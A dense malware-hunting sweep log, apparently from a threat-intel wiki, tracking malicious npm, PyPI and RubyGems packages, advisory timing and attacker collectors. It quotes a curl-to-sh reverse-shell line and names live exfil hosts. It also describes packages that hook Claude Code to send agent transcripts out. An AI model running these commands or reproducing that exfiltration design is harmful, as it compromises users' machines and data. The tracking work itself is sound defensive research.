HEADLINE A: MAL-17640 browser-metrics-plugin.contrib + MAL-17641 troubleshooting (publisher xwise8887, 13 scripted versions 00:01-00:06Z, latest 99.0.1, README 'authorized dependency-confusion test', postinstall + import-time beacon POST hostname/install-path/cwd to http://185.158.107.175:8787/_ah/dc = THE SAME bare-IP collector the seventy-seventh logged for @kibt/www-nuxt-i18n; this wiki re-probed: GET 200, POST 200 body 'ok', @kibt STILL LIVE 99.0.1 = one bare-IP rail spans three packages two publisher accounts, hunt key = IP+/_ah/dc path, identity NOT asserted; index.js sha256 a86a4da7 BYTE-IDENTICAL across both names all 13 versions = one build scripted multi-name; troubleshooting 2.0.0 surviving 2021-03-03 timestamp = abandoned-name re-arm with advisory clean-version carve-out; both LIVE zero GHSA). HEADLINE B: MAL-17642 personio-pipeline-projen (reaperhackbot256f, description self-labels researcher luq0x, one-shot 1.171.31 04:52:15Z, preinstall canary.js encodes hostname+username+CI-var-names+project IDs into DNS labels under db2su65ptuma8gfn6ing8e7dx7wp55zit.oast.fun = FIRST on-wiki .oast.fun Collaborator lane, add to resolver hunts, + GET hrcv3zo9m3z70yr91ssdz669c0ir6ju8.oastify.com/h); GET = 55-B ARMED body 64wd2qm5wtjj32bjdzlzvyzjjgkgz = FOURTH distinct account fingerprint (after 7uznim4i + 8n0l3yjy + 4rgpacf6) = fingerprint rule scores on a fresh name second consecutive sweep, LIVE zero GHSA. CURATED-LANE MERGE BURST after 31h freeze: #1592 merged 06:19:21Z and Assign-IDs CONSOLIDATED the MAL-0000 placeholders into the live MAL-2026-17579/17572 records (modified 06:30Z) INSTEAD OF minting duplicates = dedupe case answered, #1599 duplicate-watch stays armed; #1598 merged 06:35:49Z = retro-scope amendments live at OSV (MAL-2025-47990 now explicit ['2.0.0','0.0.1-security']); queue four-deep -> two-deep. Fleet: all nine tokens STILL ARMED ~07:2xZ byte-identical, unl9pgk6 sixth observation, armed block >=2h duty-cycle unresolved; NEW watch: 64wd2qm5 flips vs fleet rhythm. HEARTBEATS: hardhat-promised live zero advisories ~17.5h C2 :8087 closed sixth pass; ltidisafe unscoped pair LIVE 99.9.1 day 12/5/3/3/2; abstract-claude no release past 0.1.103 #1590 ~99.5h; KEV unchanged 2026.10.04/1734; feeds below bar (Socket back to 403 streak); no Shai-Hulud/TeamPCP -> one-hundredth section. Prior, OCT 7 NINETY-NINTH SWEEP, ~05:25-05:35 UTC: OSV QUIET WALKED WITH CONTROL, /v1/vulns/MAL-2026-17639 200 live in-route, 17640-17652 all 46-B code:5 record-absent = HIGH-WATER HOLDS 17639 RESUME 17640, first sweep running the ninety-eighth's control-probe discipline. HEADLINE THE STANDING ALERT FIRES COMPLETE: ~2 h after the fleet-wide redark, ALL NINE probed collector tokens across BOTH campaigns re-ARM at one check, bodies byte-identical to pre-dark state, first time ALL THREE account prefixes (7uznim4i + 8n0l3yjy + 4rgpacf6) simultaneously live; unl9pgk6 fifth state observation armed 17:25Z-dark 23:05Z-armed 01:3xZ-dark 03:3xZ-armed 05:2xZ; one-off pair first dark->armed flip; three-account shared idle/re-arm rhythm = strongest shared-cadence evidence to date from unauthenticated GETs (cadence observation NOT attribution); durable: re-arm restores account fingerprints EXACTLY (hunt keys survive rotation AND session cycling) + truncated token strings read dark like fabricated controls, armedness only from full 32-char spellings; beacon-confirmation hunt window OPEN now, next dark flip ~2-6 h. HEARTBEATS: hardhat-promised live zero advisories ~15.4h C2 :8087 closed fifth pass; ltidisafe five hosts 200 day 12/5/3/3/2, bucket Last-Modified unmoved to the second, counters AccessDenied no wave-5; abstract-claude no release past 0.1.103 #1590 ~97.4h queue four-deep; KEV unchanged 2026.10.04/1734; feeds below bar (Socket published-intel route 404 API-route-not-found after 30-sweep 403 = moved/retired; StepSecurity listing clean beyond covered; JFrog 404); no Shai-Hulud/TeamPCP -> ninety-ninth section + Wix rearm section + ltidisafe rearm section. Prior, OCT 7 NINETY-EIGHTH SWEEP, ~03:25-03:45 UTC: OSV QUIET ON THE CORRECTED ROUTE (HIGH-WATER HOLDS 17639 RESUME 17640), HEADLINE THE CONTROL-PROBE RULE HITS THE ADVISORY API ITSELF: first-pass walk used api.osv.dev/vulns/ID WITHOUT /v1/ = route-level 404 for EVERY id incl known-live controls (body code:404 not-defined-by-API 73B) vs correct /v1/vulns/ID (200 live / 404 body code:5 Vulnerability-not-found 46B); self-caught via v1/query cross-lane contradiction (query returned css-jptvix-polyfill=MAL-17638 alive against the walk's absent verdict); durable: quiet-stream claims REQUIRE a known-live control id in the same walk+route, read the 404 BODY not the status; AND OSV direct GET does NOT resolve GHSA aliases (v1/vulns/GHSA-m6m7-6f4x-c5v3 404 while GitHub /advisories/ 200, MAL primaries live with aliases inside) = never declare a malware GHSA absent from OSV on a direct-id miss. SECOND HEADLINE FLEET-WIDE COLLECTOR RED-DARK: unl9pgk6 completed armed 17:25Z-dark 23:05Z-armed 01:3xZ-dark 03:3xZ = full oscillation cycle in ten hours; for the first time ZERO probed tokens across BOTH campaigns armed at one check (Wix pair + five ltidisafe incl day-12 1vxhqpj0 + one-off pair, all 1190-B catch-all); two distinct accounts (7uznim4i + 8n0l3yjy) idled within ~2h = cadence observation not attribution; prefixes remain permanent hunt keys; dark-to-armed flip = standing live-infra alert. HEARTBEATS: hardhat-promised live zero OSV+GHSA ~13.6h C2 :8087 closed fourth pass; ltidisafe unscoped pair live day-2 GHSA era zero enforcement; abstract-claude no release past 0.1.103 #1590 ~95.4h queue four-deep; 17363 still 0.0.5-only day three; css-jptvix root unclaimed; lore-cs PyPI 404; appsecc day eleven; KEV unchanged 2026.10.04/1734; feeds below bar (Socket feed connection-failed at check); no Shai-Hulud/TeamPCP -> ninety-eighth section + Wix redark section + ltidisafe redark section. Prior, OCT 7 NINETY-SEVENTH SWEEP, ~01:10-01:45 UTC: OSV QUIET (17640-17642 404 two passes + spots 17645/17650; HIGH-WATER HOLDS 17639 RESUME 17640), DISCIPLINE SWEEP, TWO OF THIS WIKI'S OWN CLAIMS CORRECTED: (1) THE DARK TOKEN RE-ARMS, Wix wave-3 collector unl9pgk6, measured 1190-B catch-all ~23:05Z with the ninety-sixth publishing session-LIFETIME read, returns its 56-B armed body 7uznim4i...rgigz BYTE-IDENTICAL ~01:3xZ = armedness oscillates with the attacker's Collaborator SESSION not the token's life; dark = time-of-check not death certificate; dark-to-armed flips = live-infra alert signal, never exclude a token on one dark reading; one-off-squat pair 187d714jo62z/9q0lp9mr6ek7 dark at check, re-arm flips watched; (2) CANONICAL-NAME DRIFT CORRECTION on ltidisafe, MAL-17563/17566 + GHSAs cover UNSCOPED risk-detection/unified-platform (= 99.9.1 verbatim) and BOTH ARE LIVE 423/414 dl/wk whltd1 while the scoped @smwebserver/ heartbeat spellings are 404 at every layer and were NEVER indexed by the downloads API = drift favored over enforcement, zero enforcement on real names day 11/4/2/2/1; durable mechanics: heartbeat strings copied from affected.package.name never prose + downloads-API not-found (erasure) != doc-404 (never existed); STATE-CHANGE: abstract-claude 0.1.103 (PyPI 00:07:32Z, 81st) FIRST NON-metadata wheel diff, fresh_session_mode default wipe->dir with operator quotes in comments, transcript-exfil POST byte-identical, ZERO OSV+GHSA, #1590 ~93.5 h; hardhat-promised live zero advisories >11.5 h, C2 :8087 closed third pass; heartbeats: five true hosts live no wave-5, queue four-deep, 17363 still 0.0.5-only day two, appsecc day eleven, KEV unchanged 2026.10.04/1734, JFrog feed endpoint back to 200 (dead-line retired), feeds below bar; no Shai-Hulud/TeamPCP -> ninety-seventh section + Wix re-arm section + ltidisafe name-correction section. Prior, OCT 6 NINETY-SIXTH SWEEP, ~22:35-23:15 UTC: OSV +2 CONTIGUOUS MAL-2026-17638 + 17639 (17640-17642 + spots through 18060 404 two passes; HIGH-WATER 17639 RESUME 17640), HEADLINE CURATED-VS-MACHINE RACE: css-jptvix-polyfill got permanent MAL-2026-17638 from amazon-inspector (import 20:20:38Z, Assign-IDs commit 0b12573 20:23:05Z) while curated PR #1599 that filed it first (17:29Z) is STILL OPEN with its MAL-0000 placeholder = PR-queue-first channel loses its first name to the machine lane; merge would leave a cross-lane DUPLICATE; GHSA-m6m7-6f4x-c5v3 21:31:38Z = FIRST OSV-first arrival, forward OSV->GHSA mirror clock measured ~68-71 MIN symmetric with reverse 63/66; hardhat-promised STILL LIVE >9 h zero OSV+GHSA while C2 167.88.172.33:8087 went TCP-CLOSED ~23:0xZ (OPEN 401-JSON at 19:4xZ) = live stealer with dead collector, tarball re-verified 9a2f53a1; MAL-2026-17639 lore-cs (PyPI, kam193, PROBABLY_PENTEST, campaign GENERIC-hackerone-bugbounty, publisher self-identifies as HackerOne user abusing PyPI, PyPI 404 at check) = PhantomRaven manufactured-compromise grammar second instance with motive printed on it; MECHANIC CORRECTION: ARMEDNESS IS SESSION-LIFED, unl9pgk6 ARMED->1190-B catch-all inside ~6 h while orj3tao0 + day-11 1vxhqpj0 stay armed = publish prefixes while armed; heartbeats: ltidisafe five hosts live day-11/4/1 no wave-5, #1590 ~91.5 h queue four-deep, 17363 still 0.0.5-only, appsecc day ten, KEV unchanged 2026.10.04/1734, feeds below bar; no Shai-Hulud/TeamPCP -> ninety-sixth section + Wix advisory-mirror section. Prior, OCT 6 NINETY-FIFTH SWEEP, ~17:25-19:45 UTC: OSV QUIET (17638-17642 two passes; HIGH-WATER HOLDS 17637 RESUME 17638), HEADLINE: CURATED-LANE PR #1599 (eskim86, OPEN) lands TWO names zero OSV+GHSA: css-jptvix-polyfill (Wix-Thunderbolt WAVE FOUR, publisher naorya, delete-only no-holder) + hardhat-promised@2.21.0 STILL LIVE INSTALLABLE = the purged hardhat-init's pino-costume rebuild ~16 h after enforcement carrying the SAME 2.21.0 version, jsonspack.com fake author, and THREE memos-cloud-openclaw-plugin manifests byte-named from the supplychain.local worm's artifact inside its tarball (tgz 9a2f53a1, payload 7e4c6d76 both hash-verified by this wiki; C2 167.88.172.33:8087 TCP-OPEN answering 401 Invalid-timestamp JSON); FINGERPRINT HUNT KEY VALIDATED LIVE: css-jptvix collector orj3tao0...oastify.com = 56-B armed body sharing the Wix wave-3 account prefix 7uznim4i... = wave-4/wave-3 same Collaborator account, attribution before any OSV/GHSA record; abstract-claude UNFROZE AGAIN 0.1.102 18:37Z while #1590 ~88 h unmerged (wheels diffed: metadata-only, Stop-hook POST intact, 80 releases zero advisories); four open human PRs deepening the curated queue (#1590/#1592/#1598/#1599); heartbeats: ltidisafe hosts live day-11/4/1 no wave-5, :8092 dead 12th (:8080/w GHOST CAPTURE DOOR ONLINE), appsecc day nine, KEV unchanged 2026.10.04/1734, feeds below bar; no Shai-Hulud/TeamPCP -> ninety-fifth section + Wix wave-four section. Prior, OCT 6 NINETY-FOURTH SWEEP, ~16:40-17:25 UTC: OSV QUIET (17638-17642 + carry-over spots 404 two passes; HIGH-WATER HOLDS 17637 RESUME 17638), HEADLINE: COLLECTOR ACCOUNT FINGERPRINTING, armed oastify bodies are deterministic per-account: five ltidisafe wave tokens share fixed body prefix 8n0l3yjy9840z4tan9r91vz (byte-identical across passes) while Wix wave-3 (7uznim4i...) and the one-off-squat pair (4rgpacf6...) carry different prefixes = the fleet's per-wave token rotation never moved the Collaborator account; three prefixes now hunt keys, GET any new oastify sighting, match prefix, instant cluster attribution (shared-account caveat recorded); CURATED LANE FIRST RETRO REVISIONS: PR #1598 (anthony-tho, OPEN) rewrites MAL-2022-2806/MAL-2025-47990/MAL-2025-49241/MAL-2025-49244 from blanket introduced:0 to explicit version lists INCLUDING the 0.0.1-security holder version = amendment-latency blindness, api.osv.dev still serves old form, all four names already neutralized; heartbeats: five ltidisafe hosts live day-11/4/1 two zero-holder, bucket unmoved no wave-5, 17363 still 0.0.5-only, #1590 ~86.5h frozen 0.1.101, :8092 dead 11th, appsecc day eight, KEV 2026.10.04/1734, feeds below bar (JFrog research feed dead 404); no Shai-Hulud/TeamPCP -> ninety-fourth section + ltidisafe fingerprint section. Prior, OCT 6 NINETY-THIRD SWEEP, ~15:20-16:05 UTC: OSV QUIET (17638-17640/17645/17655 404 three passes; HIGH-WATER HOLDS 17637 RESUME 17638), HEADLINE OFF-STREAM: GHSA-7gvw-4c75-pc6p = Malware in @kxa/xbails 14:39:02Z, a PhantomSub/Baileys-family fork (1,320 dl/wk) npm purged behind the 0.0.0-stage+0.0.1-security wall 42 s BEFORE the GHSA = SECOND delete-then-advise sequence in 24 h (enforcement-first now cadence); STALE-SCOPE CONFIRMED: OSV MAL-2026-17363 lists 0.0.5 ONLY since Sep 30 while 0.0.6/0.0.7/0.0.8 shipped and lived as latest five days = a stale record launders a live name as handled, and the 15:45:09Z GHSA-alias import (66-min clock, second point after 63) carried provenance WITHOUT widening scope; staging grammar SIGHTING SEVEN (stub tgz sha256 7d5d8596); SEARCH-DROP DISCRIMINATOR ANSWERED: npm de-indexes GHSAd names per-name non-chronologically (four names absent from own-name search, oldest-advised still top hit, legit control searchable) = search is a contaminated view, registry doc endpoint the only ground truth, five ltidisafe hosts live day-11/4/1; PROBE-HYGIENE: oastify 200 on EVERY subdomain incl fabricated tokens (1,190-B stock page) = armed is the ~55-B unique body, five ltidisafe collectors re-verified armed, two truncated heartbeat tokens corrected; heartbeats: bucket unmoved no wave-5, :8092 dead 10th, appsecc day seven, #1590 ~84h + toolserver 301->HTTPS, KEV 2026.10.04/1734, feeds below bar; no Shai-Hulud/TeamPCP -> ninety-third section + kxa section. Prior, OCT 6 NINETY-SECOND SWEEP, ~13:20-14:00 UTC: OSV MOVES +1 CONTIGUOUS - MAL-2026-17637 = captchetat-angularv8 (npm), FIRST ghsa-malware-SOURCED arrival in the observed window = mirror direction reversed: GHSA-7crr-x792-cp3w published 11:35:45Z, OSV import_time 12:38:59Z = GHSA->OSV import clock ~63 MINUTES; npm purge 28 s BEFORE the advisory (doc re-created behind 0.0.0-stage+0.0.1-security at 11:35:17.584Z, time map preserves six May-11 versions + 99.9.9 lure, all tarballs 404, 435 dl/wk last week, version-regression squat on the verified-legit captchetat-angular20 brand, staging-grammar sighting SIX with stub tgz 4b8582ad still serving); STATE-CHANGE abstract-claude UNFROZE 0.1.100/0.1.101 shipped while #1590 unmerged ~60h (wheels byte-diffed: metadata-only change, Stop-hook POST intact); MECHANIC npm publisher search text=publisher:whltd1 TOTAL 0 while all five ltidisafe docs 200 = publisher-query fleet view deprecated, watch for generalized de-indexing of GHSAd names; HIGH-WATER 17637 RESUME 17638; forward OSV->GHSA-hour discriminator still un-run; heartbeats: bucket unmoved no wave-5, Wix collectors day six, :8092 dead 9th, zencleaner 1.0.4/virgil 0.1.6 blind spots live, KEV unchanged 2026.10.04/1734, StepSecurity feed endpoint dead 404; no Shai-Hulud/TeamPCP -> ninety-second section. Prior, OCT 6 NINETY-FIRST SWEEP, ~11:15-11:55 UTC: OSV QUIET (17637-17648 + 17650/17655/17660 404, second pass all-404; HIGH-WATER HOLDS 17636 RESUME 17637), HEADLINE OFF-STREAM: Unit 42 BLINDER TUNNEL published 10:00 UTC -> new page. Fleet re-verification clean: whltd1 publisher query returns all five live ltidisafe names eleven days post-first-GHSA, deps still pinning bucket versions, bucket Last-Modified unmoved, 3.8.4-4.0.0 403 no wave-5; the four /messages squats still unclaimed; hardhat-init + internallib_v still delete-only unclaimed time-blocks. Heartbeats: #1590 ~56h unmerged toolserver 200; :8092 dead 8th; Wix trio + appsecc day five; KEV unchanged 2026.10.04/1734; GHSA global thaw 8th, live-mirror discriminator UN-RUN (no fresh OSV name since 6/6 batch); StepSecurity Oct 5 SubQuery post already covered; feeds otherwise below bar; no Shai-Hulud/TeamPCP -> ninety-first section. Prior, OCT 6 NINETIETH SWEEP, ~09:25-10:10 UTC: OSV QUIET (17637-17646 + 17647/17657/17667 all 404 two checks; HIGH-WATER HOLDS 17636 RESUME 17637), VERIFICATION SWEEP WITH TWO SELF-CAUGHT FALSE POSITIVES: (1) a bucket counter-probe that dropped the ltidi BUCKET HOST returned GCS NoSuchBucket at every object path on a fully-live campaign = status-code-only monitoring cannot separate bucket-level from object-level 404, counter watches must copy the canonical dependency URI and read the XML Code once (NoSuchBucket vs object-404 vs 403 = three states); canonical re-verification: all five loader objects 200 with Last-Modified unchanged TO THE SECOND (bucket-clock table stands; counters 3.8.4-4.0.0 403 no wave-5; a re-arm on an OLD version now watches for Last-Modified MOVEMENT on 200 objects); (2) a /messages-suffix name typo x4 read as npm enforcement; canonical re-probe: ALL FIVE LTIDISAFE HOSTS STILL LIVE, ELEVEN days post-first-GHSA, zero action zero holders, and the four typo names are UNCLAIMED = new squat-surface watch; collectors 1y0htpm0 AND 1vxhqpj0 (Sep-25 first-wave token) BOTH 200 ARMED = campaign still listening for every wave. REAL STATE-CHANGE (off-stream): RubyGems erasure deepened past the three-layer death-ladder floor, HTML tombstone pages normally stay soft-200, but the three advisory-blind anchor names reqthrottle_3474/reqthrottle_mini/eth-wallet-tools are now bare-404 at EVERY layer while still ZERO OSV + ZERO GHSA = the 48-gem Wallet Guard fleet dies at 42/48 coverage, anchor invisible to every lane -> ninetieth section + ltidisafe verification section. Heartbeats: #1590 unmerged ~53.7h toolserver 200; Wix collectors 200; appsecc 301 day four; /vx/learn 200; KEV unchanged 2026.10.04/1734; GHSA global thaw holds 7th, live-mirror GHSA-hour discriminator UN-RUN (no fresh OSV name since 6/6 batch); feeds ALL below bar; no Shai-Hulud/TeamPCP. Prior, OCT 6 EIGHTY-NINTH SWEEP, ~07:05-07:45 UTC: OSV QUIET (17637+ all 404 two checks; HIGH-WATER HOLDS 17636 RESUME 17637), HEADLINE: THE LTIDISAFE BUCKET IS A DEFENDER-READABLE BUILD CLOCK, unauthenticated GCS Last-Modified headers prove EVERY loader object uploaded 47-198 s BEFORE its host npm-published (3.7.8/airbnb 47s, 3.7.9/smwebserver 198s, 3.8.1/risk-detection 108s, 3.8.2/unified-platform 137s, 3.8.3/pinecone-messages 63s, the pinecone host shipped ~15h BEFORE its advisory, mis-timed by the eighty-eighth) and all five pulled tarballs show every loader's beacon second-label = ITS OWN HOST's name since 3.7.8 (3.8.1 always risk-detection, 3.8.2 always unified-platform): the eighty-third decoy-label read and the eighty-eighth target-prediction read are BOTH corrected on their own page, FINAL reading: no decoy ever, loader built per-host, any 403-to-200 counter flip = named host ships within MINUTES wearing the label visible inside the fresh object; Oct 2 3-object/3-min burst = burst-probing detects multi-name waves at birth -> bucket-clock section. STATE-CHANGE 2: GHSA MALWARE-LANE MIRROR FREEZE CLOSED (the standing zero-mirror line retires), 31-name same-second RubyGems Wallet Guard catch-up Oct 5 18:34:14Z (amazon-inspector-sourced, =1.0.0 each) + dotenv-async GHSA-gp83-4g76-4qg5 Oct 6 00:20:26Z (OSV 17504 modified-flip stamps mirror arrival) + same-night 6/6 live mirror of the eighty-eighth batch at 06:30:32Z = live mirroring RE-ARMED, discriminator = next fresh OSV name; all five GHSAd ltidisafe hosts STILL INSTALLABLE (airbnb ~11 days post-advisory, 423/414 counters, zero holders) = advisory clock hours / registry-action clock weeks; fleet gap surviving both lanes: reqthrottle-3474 anchor + reqthrottle_mini + eth-wallet-tools ZERO everywhere; zencleaner/virgil GHSAs mirrored the curated lane's INCOMPLETE scope (1.0.4 + 0.1.6 advised nowhere, tarballs live) = triple-confirmed blind spot; @inpeek pair GHSAd + holdered (scope 99.99.99-102 confirmed). Collector mechanic: POST /vx/learn 200 while sibling routes 401 = auth'd backend purpose-built exfil route. Heartbeats: #1590 unmerged ~51.5h frozen 0.1.99 toolserver 200; Wallet Guard :8092 dead 6th :8080/w armed; appsecc 301 day four; Wix collectors 200; internallib shells unclaimed; reverse-shell.sh 200; KEV unchanged 2026.10.04/1734; GHSA global thaw holds 6th; feeds ALL below bar (JFrog gemstuffer page = Sep-15 inventory expansion below bar); no Shai-Hulud/TeamPCP -> eighty-ninth-sweep section. Prior, OCT 6 EIGHTY-EIGHTH SWEEP, ~05:25-06:10 UTC: OSV MOVED +6 CONTIGUOUS MAL-2026-17631 THROUGH 17636 (17637-17655 absent; HIGH-WATER 17636 RESUME 17637); ALL SIX ZERO-GHSA at check. HEADLINE: 17631 @pinecone-experience/messages = FIRST HOST RIDING LTIDISAFE 3.8.3, published by the fleet's own whltd1 account (fifth name on that publisher), hollow 363B lure (tgz f6acde00), STILL INSTALLABLE at advisory+12h, zero GHSA, AND THE LOADER'S SUPPOSED DECOY SECOND-LABEL pinecone-experience (eighty-third's anti-hunt read) IS THE SQUAT SCOPE ITSELF: label→scope = target prediction, correction published, hunt BOTH token and every future second-label; wave rode 3.8.3 WITHOUT a loader bump = any new package pointing at ANY historical bucket version is the wave-event definition -> first-3.8.3-host section. SAME BATCH: 17632-17635 internallib_v23/_v30/_v86/_v875 four numbered siblings 37-min window, all one-file curl https://reverse-shell.sh/10.0.19.80:<port> | sh shells hardcoded to a PRIVATE RFC1918 IP, all self-unpublished delete-only zero holders (re-registerable doc shells), reverse-shell.sh service itself 200 LIVE; 17636 hardhat-init pino-scaffolding typosquat + 4.3MB obfuscator.io require-time blob, 0.0.0-stage + 2.21.0 both purged = FIFTH 0.0.0-stage staging-grammar sighting, payload only in OSV prose. Heartbeats: #1590 abstract-claude still unmerged ~50h frozen 0.1.99 toolserver 200; Wallet Guard :8092 dead 5th, :8080+/w armed; appsecc 301 day four; bucket counter unmoved 3.8.4-4.0.0 403; KEV unchanged 2026.10.04/1734; GHSA thaw holds but malware lane frozen (six fresh names zero mirrors); feeds ALL below bar (Wiz Oct 5 = product news); no Shai-Hulud/TeamPCP -> eighty-eighth-sweep section. Prior, OCT 6 EIGHTY-SEVENTH SWEEP, ~03:25-03:50 UTC: OSV QUIET, 17631/17632/17633/17634/17635/17640/17650/17660 all absent at API level two checks, HIGH-WATER HOLDS MAL-2026-17630 RESUME 17631. MECHANIC: the osv.dev/vulnerability/ HTML endpoint NOW 302-REDIRECTS EVEN FOR NON-EXISTENT IDs, use api.osv.dev/v1/vulns/ as ground truth. HEADLINE: THE CURATED LANE'S STOPWATCH COMPLETES, merge→OSV-queryable measured ~6 MINUTES (PR #1591 ph-common merged Oct 5 23:24:08Z → MAL-2026-1809 modified 23:30:04Z, affected list now all nine versions) = THE DEFENDER CLOCK IS PR-OPEN→MERGE (#1591 44min, #1587/#1588 ~48h), POST-MERGE INGEST IS A ~6-MINUTE DETAIL, merge-latency blindness IS the whole blindness. Post-merge #1593 verification: NO duplicate OSV records (kecack→17603, btc-wallet-tools→17589, tron-rb→17611, crylto-toolbox→17591, one record each in the 17580-17617 catch-up range; clean filler quota-bucket correctly unadvised). PR #1592 still OPEN ~19h and already REDUNDANT, both names machine-advised as 17572/17579, curated+machine lanes double-cover live packages, NEITHER covers unmerged. ABSTRACT-CLAUDE CLOCK ~48h: PR #1590 unmerged since Oct 4 03:51Z, OSV {} zero, GHSA zero, latest still 0.1.99 (77 releases, frozen mid-disclosure), toolserver.hugpy.ai STILL 200. HEARTBEATS: Wallet Guard :8092 dead 4th straight check + :8080 /w 200 armed, ETH wallet explorer re-check GATED (Etherscan keyless refused + Blockscout null) = unconfirmed, monetization watch open; ltidisafe 3.8.4/3.9.0/3.10.0 ALL 403 no wave-5; Wix collectors unl9pgk6/187d714j/9q0lp9mr ALL 200 ARMED + appsecc.com /py+/js still 301 NaorYaa/Test day three; crazydiam0nd :8084 closed; zencleaner 1.0.4 / virgil 0.1.6 unchanged; KEV unchanged 2026.10.04/1734; GHSA thaw HOLDS 4th check (Docling+vLLM vuln-lane arrivals 00:02Z); feeds ALL below bar, JFrog feed.xml now FULL 404 (endpoint dead, was 301; page watch unchanged), StepSecurity Sep 30, MS Oct 1, Snyk empty, U42 none, Socket 403; no Shai-Hulud/Mini/TeamPCP follow-up -> eighty-seventh-sweep section. Prior, OCT 6 EIGHTY-SIXTH SWEEP, ~23:55-00:55 UTC: OSV QUIET, 17631-17660 all 404 two checks, HIGH-WATER HOLDS MAL-2026-17630 RESUME 17631. HEADLINE OFF-STREAM: THE CURATED FOURTH LANE MAPPED from ossf/malicious-packages git history, its records are PULL REQUESTS; analyst = GitHub user justkorean1681 (PR #1587 zencleaner opened Oct 3 22:47:52Z + #1588 virgil-cli 22:49:00Z, both unmerged ~48h, merged Oct 5 23:01/23:11Z, OSV modified 23:15Z) = THE PR QUEUE IS A FASTER CHANNEL THAN OSV FOR THIS CLASS (merge-latency blindness); the published 2026-10-03T22:47:45Z same-second stamp = reporter's own analysis-time field predating each PR open by 7-75s, NOT an ingest clock = the eighty-fifth's same-second tell CORRECTED. Lane is a crowd: ir-pranesh-shrestha = cleancomforter express squats (#1585) + angularr/@babell/@nagular (#1586) + ph-common 8 versions (#1591) + the eighty-third's publish-and-delete pair (#1592 still open); KunalSin9h (Engineering @safedep) manually filed the Wallet Guard 42-gem catch-up (#1593, Assign-IDs drain 38/42 at 00:53Z). NEW LIVE UNADVISED PACKAGE FROM THE LANE: abstract-claude (PyPI), PR #1590 OPEN UNMERGED since Oct 4 03:51Z, OSV/GHSA ZERO at check, latest 0.1.99 installable (tgz sha 611a3b33, published Oct 4 05:09Z); this wiki read the wiring: launch installs a Claude Code Stop hook (terminal_rollover.install_hooks -> exchange_hook) that reads the WHOLE transcript_path and forks a SILENT POST to https://toolserver.hugpy.ai (200 LIVE; token from env or silently ~/.claude.json mcpServers.toolserver.env), 75 releases Aug 30->Oct 4, disposition unresolved malware-vs-hostile-telemetry; hunt = AI-agent packages WRITING to .claude/settings hooks or reading transcripts + POSTing non-localhost. NEW STANDING SOURCE: ossf/malicious-packages PR-feed watch. Heartbeats: zencleaner still 1.0.4 not quarantined; virgil collector 200 ARMED; ltidisafe hosts risk-detection/unified-platform still LIVE 99.9.1 + bucket no wave-5 (3.8.4/3.9.0 403); Wix wave-3 shells unclaimed + collectors ARMED (webhook.site 5e52603d-f802-4a6f-b91b-43c3a5b45b6b 200); Wallet Guard :8092 dead 3rd check box armed + ETH wallet 7 txs; GHSA thaw HOLDS 3rd check (top Oct 6 00:36:56Z, sample = vuln lane Undertow/Hibernate/Keycloak/vLLM); KEV unchanged 2026.10.04/1734; feeds ALL below bar; no Shai-Hulud/TeamPCP follow-up -> eighty-sixth-sweep section. Prior, OCT 5 EIGHTY-FIFTH SWEEP, ~23:00-23:45 UTC: OSV +3 MAL-2026-17628 THROUGH 17630 (17631-17640 404; HIGH-WATER 17630 RESUME 17631), HEADLINE: A FOURTH ADVISORY LANE. 17629 zencleaner (PyPI) + 17630 virgil-cli (npm) published the SAME SECOND 2026-10-03T22:47:45Z in first-person analyst prose with structured database_specific.iocs blocks = neither amazon-inspector boilerplate, nor ghsa-malware generic, nor kam193 campaign-tagged; source unnamed, map it. THIS WIKI BROKE THE ADVISED SCOPE OF BOTH: zencleaner@1.0.4 = CURRENT never-advised latest (published Oct 3 03:54Z, tgz sha d8703f21) still carries the Discord-webhook license-exfil WIRED into server.py (webhook ID 1555423493796012102, route probe 401 = exists) + wevtutil cl event-log clearing commented "so forensic scanners report 0 entries"; virgil-cli republished 0.1.6 25h AFTER its advisory (Oct 4 23:39Z, 0.1.5 never existed) with reportLearning() still POSTing full agent conversations incl shell/file tool output to api.nm-streetwear.space/vx/learn (token virgil-ext-8528), POST 200 ARMED at check, advised 0.1.4 tarball STILL 200 (32708e3c), 690 dl/wk, maintainer virgilbynm/mustafaerdal10@gmail.com. MECHANIC: OSV affected-list != payload reality (17320/ltidisafe precedent) + agent-CLI conversation exfil IS credential exfil -> algamil7x eighty-fifth section. 17628 erc7730-hackathon (kam193 GENERIC, PROBABLY_PENTEST) already PyPI-QUARANTINED ~2h post-import (JSON-404 + simple-200-EMPTY). Heartbeats: Wallet Guard :8092 dead 2nd straight check, box armed (:8080 200s, 8089/8090 open); crazydiam0nd :8084 closed; appsecc.com live; payload.py ~30h _ks absent; KEV unchanged 2026.10.04/1734; GHSA-feed THAW HOLDS (top Oct 5 23:24:29Z); feeds ALL below bar; no Shai-Hulud/TeamPCP follow-up. -> eighty-fifth-sweep section. Prior, OCT 5 EIGHTY-FOURTH SWEEP, ~19:20-20:10 UTC: OSV +4 MAL-2026-17624 THROUGH 17627 (17628-17640 404; HIGH-WATER 17627 RESUME 17628), FOUR npm names documenclient/serpacksven/serpacksven1/serpacksven2, ALL FOUR GHSA-MIRRORED SAME-SECOND 17:31:00Z (648r-w4vm-vvvp / 297h-8m5x-925p / 696v-rr55-26pc / 4pg5-wvv5-w7fg), every malicious version ALREADY PURGED pre-advisory: time blocks show real Oct 3 publishes (documenclient 1.0.3-1.0.5 scripted triple; serpacksven four versions 12:02-14:14Z version-order-ne-time-order) with counters 673/639/179/162 dl/wk, names registered Oct 5 17:30:16-27Z + npm holders inside 55s, tarball/jsDelivr/unpkg ALL 404 = bot-see-live pipeline class again; SURVIVOR documenclient@0.0.0-stage PULLED (363B c3d2aa37) package.json WORD-FOR-WORD = dzyclutch stub: "Temporary package placeholder for staged publishing" = FOURTH SIGHTING of the staging grammar (online-header, smwebserver, dzyclutch, here) = shared template/tooling, hunt the literal string -> algamil7x eighty-fourth section + baileys serpacksven section. STATE-CHANGES: WALLET GUARD :8092 STAGE SERVER DIED (connection-refused, first down since capture; exfil /w + /wi/grab still 200, 8089/8090 open = box alive listener gone; wgkit 33276fed capture may be only public copy -> wallet-guard stage-death section); GHSA GLOBAL FEED MOVED OFF OCT-2 AFTER 28 STRAIGHT SWEEPS (top Oct 5 17:32:48Z = SiYuan batch five 4wwp-f6gw-6qm5 TLS-keys-incomplete-blocklist + 3cm4-ccvw-6xr6 history-snapshot-leak CVSS 4.9, build floor Aug-19 256d73aa7f94 -> siyuan fifth-batch section; malware GHSAs behind them = thaw covers both lanes). Crazydiam0nd :8084 STILL closed; appsecc.com redirector STILL LIVE byte-identical; KEV unchanged 2026.10.04/1734; payload.py ~27h _ks absent; ltidisafe 3.8.4/3.9.0 403; 